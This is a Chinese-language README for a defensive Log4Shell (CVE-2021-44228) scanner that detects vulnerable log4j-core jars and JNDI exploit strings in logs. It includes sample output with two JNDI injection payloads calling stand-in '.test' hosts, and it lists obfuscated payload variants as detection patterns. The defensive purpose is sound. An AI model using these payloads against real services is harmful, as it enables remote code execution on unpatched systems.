一个零依赖的 Log4Shell 防御性扫描器 —— 查找易受攻击的 log4j-core jar,并在日志和配置中发现 JNDI 利用模式。
在我于 CERT-In 轮岗期间,我从事威胁识别、遏制、修复和威胁狩猎工作 —— 这正是 Log4Shell(CVE-2021-44228)在 2021 年 12 月大规模爆发时所需的工作流程:在整个服务器群中找出每一个易受攻击的 log4j-core 工件,并在日志中搜索 ${jndi:...} 利用尝试。本扫描器将这一防御性工作流程重现为一个单一、可移植、仅使用标准库的 Python 脚本,无需在其所检查的主机上安装任何东西。
.jar / .war / .ear 文件。zipfile 读取每个归档内部的 pom.properties 和 MANIFEST.MF,失败时回退到文件名;可区分真正的 log4j-core 与无关的 jar。${jndi:ldap:// 及常见混淆写法(${${lower:j}ndi:…}、花括号拆分 j}ndi:、${::-j})。JndiLookup.class,另附出口流量监控指引。log4j-core-2.14.1.jar(真实 zip,内含 log4j-core 的 pom.properties)、一个已修复的 2.17.1.jar、一个无关的 jar,以及一份含 JNDI 载荷的日志。--demo 端到端构建并扫描示例目录树。os、re、zipfile)。零依赖。Python 3(仅标准库:argparse、os、re、zipfile)。
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version # Python 3.8+
# no dependencies to install
对内置示例目录树运行演示:
python log4shell_scan.py --demo
预期输出(节选):
--- Archives (log4j-core detection) ---
[ok] .../commons-lang3-3.12.0.jar
version: unknown (via no log4j-core detected)
[VULNERABLE] .../log4j-core-2.14.1.jar
version: 2.14.1 (via pom.properties (...))
!! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
!! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
!! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
[ok] .../log4j-core-2.17.1.jar
version: 2.17.1 (via pom.properties (...))
--- Exploit-pattern matches (JNDI payloads in text/logs) ---
[MATCH] .../access.log (2 hit(s))
L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
--- Summary ---
Vulnerable archives: 1
Files with JNDI patterns: 1
扫描你获授权评估的任何目录:
python log4shell_scan.py /path/to/deployed/app
当发现任何易受攻击或可疑内容时,进程退出码为 1,干净时为 0 — 便于 CI/流水线门禁判断。
随时重建示例目录树:
python log4shell_scan.py --build-samples
log4shell-scanner/
├── log4shell_scan.py # scanner + sample-tree builder + CLI
├── samples/
│ └── app/
│ ├── libs/
│ │ ├── log4j-core-2.14.1.jar # fake VULNERABLE jar (real zip)
│ │ ├── log4j-core-2.17.1.jar # patched jar
│ │ └── commons-lang3-3.12.0.jar # unrelated jar
│ ├── logs/
│ │ └── access.log # contains JNDI payloads
│ └── config.properties # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore
仅限教育、防御及授权使用。只对你有权评估的系统与工件运行。该扫描器仅进行读取和模式匹配 — 绝不执行或利用任何内容。内置的示例 jar 为虚构占位文件,并非真正的 Apache 工件,所有载荷主机名均使用不可路由的 .test 名称。版本与 CVE 的对应关系仅供参考;请以官方 CVE 及 Apache Log4j 安全公告为准。